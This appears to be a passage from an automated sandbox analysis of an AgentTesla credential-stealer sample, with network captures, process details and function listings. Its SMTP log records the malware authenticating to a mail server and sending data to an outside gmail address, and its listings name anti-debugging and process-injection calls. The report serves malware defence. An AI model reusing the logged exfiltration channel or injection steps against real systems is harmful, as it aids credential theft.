Jul 22, 2022 19:36:28.486587048 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.486896992 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.534585953 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.535618067 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.584765911 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.585371017 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.636060953 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.640392065 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.690749884 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.692682028 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.777312040 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.786739111 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.787060022 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.833581924 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.833668947 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.834742069 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.834856987 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.835726976 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.835818052 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.879703045 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.880513906 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:33.293950081 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:33.407489061 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:38:08.092817068 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:38:08.140233040 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:38:08.140414000 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:38:08.142493010 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:38:08.188280106 CEST	587	49775	109.99.162.14	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2022 19:36:28.130073071 CEST	62466	53	192.168.2.5	8.8.8.8
Jul 22, 2022 19:36:28.194483995 CEST	53	62466	8.8.8.8	192.168.2.5
Jul 22, 2022 19:36:28.235074997 CEST	60969	53	192.168.2.5	8.8.8.8
Jul 22, 2022 19:36:28.312767982 CEST	53	60969	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 22, 2022 19:36:28.130073071 CEST	192.168.2.5	8.8.8.8	0x656e	Standard query (0)	mail.rematinvest.ro	A (IP address)	IN (0x0001)
Jul 22, 2022 19:36:28.235074997 CEST	192.168.2.5	8.8.8.8	0x73dc	Standard query (0)	mail.rematinvest.ro	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 22, 2022 19:36:28.194483995 CEST	8.8.8.8	192.168.2.5	0x656e	No error (0)	mail.rematinvest.ro	rematinvest.ro		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2022 19:36:28.194483995 CEST	8.8.8.8	192.168.2.5	0x656e	No error (0)	rematinvest.ro		109.99.162.14	A (IP address)	IN (0x0001)
Jul 22, 2022 19:36:28.312767982 CEST	8.8.8.8	192.168.2.5	0x73dc	No error (0)	mail.rematinvest.ro	rematinvest.ro		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2022 19:36:28.312767982 CEST	8.8.8.8	192.168.2.5	0x73dc	No error (0)	rematinvest.ro		109.99.162.14	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 22, 2022 19:36:28.486587048 CEST	587	49775	109.99.162.14	192.168.2.5	220-cpanel4.romtelecom.net ESMTP Exim 4.93 #2 Fri, 22 Jul 2022 20:36:28 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 22, 2022 19:36:28.486896992 CEST	49775	587	192.168.2.5	109.99.162.14	EHLO 216041
Jul 22, 2022 19:36:28.534585953 CEST	587	49775	109.99.162.14	192.168.2.5	250-cpanel4.romtelecom.net Hello 216041 [84.17.52.2] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 22, 2022 19:36:28.535618067 CEST	49775	587	192.168.2.5	109.99.162.14	AUTH login ZmFjdHVyYXJlQHJlbWF0aW52ZXN0LnJv
Jul 22, 2022 19:36:28.584765911 CEST	587	49775	109.99.162.14	192.168.2.5	334 UGFzc3dvcmQ6
Jul 22, 2022 19:36:28.636060953 CEST	587	49775	109.99.162.14	192.168.2.5	235 Authentication succeeded
Jul 22, 2022 19:36:28.640392065 CEST	49775	587	192.168.2.5	109.99.162.14	MAIL FROM:<facturare@rematinvest.ro>
Jul 22, 2022 19:36:28.690749884 CEST	587	49775	109.99.162.14	192.168.2.5	250 OK
Jul 22, 2022 19:36:28.692682028 CEST	49775	587	192.168.2.5	109.99.162.14	RCPT TO:<mikeandreas1991@gmail.com>
Jul 22, 2022 19:36:28.786739111 CEST	587	49775	109.99.162.14	192.168.2.5	250 Accepted
Jul 22, 2022 19:36:28.787060022 CEST	49775	587	192.168.2.5	109.99.162.14	DATA
Jul 22, 2022 19:36:28.833668947 CEST	587	49775	109.99.162.14	192.168.2.5	354 Enter message, ending with "." on a line by itself
Jul 22, 2022 19:36:28.835818052 CEST	49775	587	192.168.2.5	109.99.162.14	.
Jul 22, 2022 19:36:33.293950081 CEST	587	49775	109.99.162.14	192.168.2.5	250 OK id=1oEwZg-000BXz-Q0
Jul 22, 2022 19:38:08.092817068 CEST	49775	587	192.168.2.5	109.99.162.14	QUIT
Jul 22, 2022 19:38:08.140233040 CEST	587	49775	109.99.162.14	192.168.2.5	221 cpanel4.romtelecom.net closing connection

Target ID:	1
Start time:	19:36:17
Start date:	22/07/2022
Path:	C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe"
Imagebase:	0xb40000
File size:	352408 bytes
MD5 hash:	06479BE352128F527656809D8A2E1943
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	19:36:19
Start date:	22/07/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Imagebase:	0xbd0000
File size:	43176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	19:36:20
Start date:	22/07/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Imagebase:	0xbd0000
File size:	43176 bytes
MD5 hash:	C09985AE74F0882F208D75DE27770DFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.429466512.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.429466512.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.688515843.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000002.688515843.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.428206053.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.428206053.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.428807538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.428807538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000000.428533310.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000004.00000000.428533310.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.690509343.0000000007018000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Execution Graph

Execution Coverage:	25%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	18.3%
Total number of Nodes:	120
Total number of Limit Nodes:	9

Executed Functions

Function 014ABEB4 Relevance: 4.2, Strings: 3, Instructions: 483
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!1, xrefs: 014AC36E
nw$7, xrefs: 014AC040
nw$7, xrefs: 014AC04E

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: !1$nw$7$nw$7
API String ID: 0-765070513
Opcode ID: 974bc4bef4af99ad1a61e44164ab21785d5bd1b8f964c56151f135c0e1d00039
Instruction ID: ae99834862b45949076487c17805e98ca4cd23841131e5ef67ae1d3a47b28b54
Opcode Fuzzy Hash: 974bc4bef4af99ad1a61e44164ab21785d5bd1b8f964c56151f135c0e1d00039
Instruction Fuzzy Hash: 6E226874E05219CFDB64CFA5D880BEEBBB1EF69300F5590AAC509AB351DB309A81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 014A896F Relevance: 4.2, Strings: 3, Instructions: 406
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J, xrefs: 014A8A14
3c", xrefs: 014A8CB2
6p1, xrefs: 014A8D4F

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 3c"$6p1$J
API String ID: 0-217036146
Opcode ID: 6acf68a5495db3fdcdd40b60a215810b3017abbec85b0c08623c5cb6399a3149
Instruction ID: 9279f7c134aa05c2b7ede9b2e67ead5a90f198cc60ca37137e4e984f8fa20df5
Opcode Fuzzy Hash: 6acf68a5495db3fdcdd40b60a215810b3017abbec85b0c08623c5cb6399a3149
Instruction Fuzzy Hash: 7BF1CFB0D05317CFCB14CFA8C8405AEFBB1FF65321B5A86ABD504AA266D334D942CB94

Uniqueness

Uniqueness Score: -1.00%

Function 014A8AF0 Relevance: 4.0, Strings: 3, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3c", xrefs: 014A8CB2
6p1, xrefs: 014A8D4F
6p1, xrefs: 014A8D41

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 3c"$6p1$6p1
API String ID: 0-2752395122
Opcode ID: 419a2512f5bc6d7e565133c6995c729c42b183814a2930af0b538eab65f6becf
Instruction ID: d095c477f09fe673498ebaf65cf4328e3513363cddadc4176e7f93992c1eed9a
Opcode Fuzzy Hash: 419a2512f5bc6d7e565133c6995c729c42b183814a2930af0b538eab65f6becf
Instruction Fuzzy Hash: 4CB18AB4D0521ACFCB00DFA5C9419AEFBB2FF58311B55862AD515AB224D334DA02CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 014AD5D0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 014AD65E

Strings

QS9t, xrefs: 014AD5EF

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: QS9t
API String ID: 3662101638-1709383597
Opcode ID: 297d62bf7679f207a5b3902e869507db03cc02b5401878a4053fd5e7f9cd91b1
Instruction ID: dc5627bc3a292f0ca0be863210edd4197576483820809b42fefc262a316cb61d
Opcode Fuzzy Hash: 297d62bf7679f207a5b3902e869507db03cc02b5401878a4053fd5e7f9cd91b1
Instruction Fuzzy Hash: 0431B7B8D012189FCB14CFE9D880ADEFBF5BB49314F54942AE818B7200C775A9468F94

Uniqueness

Uniqueness Score: -1.00%

Function 014A3430 Relevance: 2.9, Strings: 2, Instructions: 404COMMON

Download Yara Rule

Strings

$9p,, xrefs: 014A374B
I=J, xrefs: 014A38B7

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $9p,$I=J
API String ID: 0-1513552547
Opcode ID: 2e61500f2ccfed6620b7edfce697514e3b0737e236c0bd67944a8e10084755a0
Instruction ID: 321a128248f641f8f6b28072d8fdb92ddf783ab5449a636ef3ae0271b12992fa
Opcode Fuzzy Hash: 2e61500f2ccfed6620b7edfce697514e3b0737e236c0bd67944a8e10084755a0
Instruction Fuzzy Hash: B4F17270D04206DFC758CFA5C4854AEFBB2FF99310B56CA5AC405AB665D734E982CF90

Uniqueness

Uniqueness Score: -1.00%

Function 014A3530 Relevance: 2.8, Strings: 2, Instructions: 296COMMON

Download Yara Rule

Strings

$9p,, xrefs: 014A374B
I=J, xrefs: 014A38B7

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $9p,$I=J
API String ID: 0-1513552547
Opcode ID: d789b77d827fb02aba0f41b88e18948a153ffde62e91d627840d516c74a8df58
Instruction ID: 3bdac888966186bcdfd7624355d027a5acfddb82329f3615ed3b3ec9d70cad91
Opcode Fuzzy Hash: d789b77d827fb02aba0f41b88e18948a153ffde62e91d627840d516c74a8df58
Instruction Fuzzy Hash: 92D14F70D0020ADFCB14CFA9C5818AEFBB2FF99340B55C55AD515AB225E734EA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 014A6C61 Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

xsl, xrefs: 014A6DA0
xsl, xrefs: 014A6CAC

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: xsl$xsl
API String ID: 0-2450867006
Opcode ID: 7a40251c6a999e5fea51c3a624ddd04c4d30e5a7055d3d0bcd3f1ce50b099255
Instruction ID: e066c16fb4dab6d83cc8223ee9de7954a406ab0a7fdca27261443d0ccec65f1a
Opcode Fuzzy Hash: 7a40251c6a999e5fea51c3a624ddd04c4d30e5a7055d3d0bcd3f1ce50b099255
Instruction Fuzzy Hash: 11518C74E05218DFDB18CFA9C0446EEBBB1FF55304F56882AD012AB360DB799942CF95

Uniqueness

Uniqueness Score: -1.00%

Function 014ADAA9 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

@:v\, xrefs: 014ADB6E

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @:v\
API String ID: 0-2283021512
Opcode ID: 29095eb05bb44c6675e0d19c22b58bd9390daa1dc12e70d6c4f82686c240b34d
Instruction ID: e96104fc5b86e8d6ec7a6eee80119447551bbfe5dc0db71ef3dea4e03ab6b700
Opcode Fuzzy Hash: 29095eb05bb44c6675e0d19c22b58bd9390daa1dc12e70d6c4f82686c240b34d
Instruction Fuzzy Hash: BB910274E05219CFDB14CFEAD840AEEFBB2BB98300F95816AD405BB664DB349942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 014ADAB8 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

@:v\, xrefs: 014ADB6E

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @:v\
API String ID: 0-2283021512
Opcode ID: c8313e92d9aa4374795b6f33e3616320ab525dd2f711c7240ec0cf366aca8a3c
Instruction ID: 907b6a33c713ab620e153fce1fc856e1ca41f9c629312beb2be1f1fcad256af5
Opcode Fuzzy Hash: c8313e92d9aa4374795b6f33e3616320ab525dd2f711c7240ec0cf366aca8a3c
Instruction Fuzzy Hash: 9891F274E05219CFDB14CFEAD9806DEFBB2BB98300F91816AD409BB664D7309942CF50

Uniqueness

Uniqueness Score: -1.00%

Function 014A9E78 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 504816786a020de7af6d139b15c1a0eb9d16de130433fb013ede5f438e20696a
Instruction ID: 5d0237d2a840505d48efedb2922d9ebdbc8b40dc6d502e0be5c53c178b5737b3
Opcode Fuzzy Hash: 504816786a020de7af6d139b15c1a0eb9d16de130433fb013ede5f438e20696a
Instruction Fuzzy Hash: 6FF1F274E042298FDB69CF65C850BDEBBB6EFA9300F1091EA9509A7254EB305F81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 014A9E68 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718699d6c7ea3b73c44093229f3f65f66e54368f7414610bb1e1769692223028
Instruction ID: 7ac9d9577163497ac2d5e7e2edcded5ce2d5760b52283e4e661a972e93c56563
Opcode Fuzzy Hash: 718699d6c7ea3b73c44093229f3f65f66e54368f7414610bb1e1769692223028
Instruction Fuzzy Hash: 80E1F174E042298FDB69CF65D840BDEBBB6FFA9300F1091EAD509A7254EB305E818F45

Uniqueness

Uniqueness Score: -1.00%

Function 014A1328 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5e4f2239a924566d86d75346a09d43221b8809d06d5abe3181cb9e20561f828
Instruction ID: 846cb4f19977f8cee728e680aeec64adc95df53af14d1163523311c9825eb363
Opcode Fuzzy Hash: d5e4f2239a924566d86d75346a09d43221b8809d06d5abe3181cb9e20561f828
Instruction Fuzzy Hash: 77B10174E042198FDB18CFA9C9809EEFBF2FF89700F24862AD405AB365D7359946CB54

Uniqueness

Uniqueness Score: -1.00%

Function 014A1370 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3039a6a9e2bd6bcedc927f58f8ed22d779cb4f83c26b29a6db6ba9428b4e2d2
Instruction ID: d1e4e145b5cbd6438a23577d41abab7e0e0efb079465b056432028c56b5a96ee
Opcode Fuzzy Hash: f3039a6a9e2bd6bcedc927f58f8ed22d779cb4f83c26b29a6db6ba9428b4e2d2
Instruction Fuzzy Hash: 22B1D0B4E002198FDB18CFA9C9809EEBBF2FF89700F24852AD515AB365D7319946CB54

Uniqueness

Uniqueness Score: -1.00%

Function 014A1BB8 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d092df02f69b31827ad700819c03bb7b83d88b89f2b10241adb8c16544ef03be
Instruction ID: 55e2babfc80e70f65acbe328f78cb4ecb18c36d18c1ade73eda9a7f70e2dfe0b
Opcode Fuzzy Hash: d092df02f69b31827ad700819c03bb7b83d88b89f2b10241adb8c16544ef03be
Instruction Fuzzy Hash: E2511A74E046098FCB08CFA9C9446EEFBF2BF88700F14D56AD415B7265D7349942CB68

Uniqueness

Uniqueness Score: -1.00%

Function 014A6EB0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ee0ad3b6aae994cbf0e11c96bfcfb9063a22bfcc3dd62bdbcab07886c38991
Instruction ID: 17e46e34e89af0bbe4c43365026df0205af3ee8cbd1a9ec7b414d9180e38871b
Opcode Fuzzy Hash: a5ee0ad3b6aae994cbf0e11c96bfcfb9063a22bfcc3dd62bdbcab07886c38991
Instruction Fuzzy Hash: 10513774E05208DFDB04CFA5D9509DEBBB6FF99300F66A46AE501A7364E7349A018F14

Uniqueness

Uniqueness Score: -1.00%

Function 014A6EC0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd7dbd17f953cd51eaf9219a780dd39cebef0fb2ba7eefe7be8b046c4663f96
Instruction ID: 85d91268ffa623732b4b04efec3a7305a164a4bb544e73764bac8d0619c2e3ec
Opcode Fuzzy Hash: 8bd7dbd17f953cd51eaf9219a780dd39cebef0fb2ba7eefe7be8b046c4663f96
Instruction Fuzzy Hash: 79513974E04208DFDF04CFA5E5509DEBBB6FF99300F66A46AE511A7324E7349A018F54

Uniqueness

Uniqueness Score: -1.00%

Function 014A25FA Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 806ecd2544ad36f81c414f45752abc645067fa8356c719781125aa4129c162e8
Instruction ID: ef8c014a58b8df0e202f57a7ff1c844a65280b60a6332a9296305c300d252ecf
Opcode Fuzzy Hash: 806ecd2544ad36f81c414f45752abc645067fa8356c719781125aa4129c162e8
Instruction Fuzzy Hash: 0A312771E006588BDB58CFAAD8446DEBBB2AFC9311F14C17AD409AB268DB341946CF50

Uniqueness

Uniqueness Score: -1.00%

Function 014A99DD Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 326
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 014A9CAF

Strings

QS9t, xrefs: 014A9A52
QS9t, xrefs: 014A9A23

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID: QS9t$QS9t
API String ID: 963392458-2233947037
Opcode ID: 8a06df2213a353a0b0eb88b5d35975c3f528e17219e0137a5a75e5ea9ad16b51
Instruction ID: 360b1659ed4f194cda7312aeb488a4d65860d2dc675e499cdb41bc9fbdbf6ab3
Opcode Fuzzy Hash: 8a06df2213a353a0b0eb88b5d35975c3f528e17219e0137a5a75e5ea9ad16b51
Instruction Fuzzy Hash: CDC13670D0022D8FDB24DFA8C8807EEBBB1BF55308F4485AAD409B7290DB749A85CF84

Uniqueness

Uniqueness Score: -1.00%

Function 014A99E8 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 321
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 014A9CAF

Strings

QS9t, xrefs: 014A9A52
QS9t, xrefs: 014A9A23

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID: QS9t$QS9t
API String ID: 963392458-2233947037
Opcode ID: 9d715509b302e72349e80700c9897bb249e6d8c8a346c2ba0ea16e26a78cd292
Instruction ID: 9dd881449c991578d63a00c634cb9716becff3340bfe728aad3516588a219166
Opcode Fuzzy Hash: 9d715509b302e72349e80700c9897bb249e6d8c8a346c2ba0ea16e26a78cd292
Instruction Fuzzy Hash: 44C12770D0021D8FDF24DFA8C8807EEBBB5BB55308F4495AAD409B7290DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 014A9659 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 014A9733

Strings

QS9t, xrefs: 014A9682
U, xrefs: 014A965D

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: QS9t$U
API String ID: 3559483778-1032977552
Opcode ID: d1388f59eac02ac5b8762705229fe80d0caa2740d3677eac4c4666ce2f1e52d3
Instruction ID: 2fad8c33f9c02b311c43326cb3fcd24833ead4b050303c4caa87c291739a56ca
Opcode Fuzzy Hash: d1388f59eac02ac5b8762705229fe80d0caa2740d3677eac4c4666ce2f1e52d3
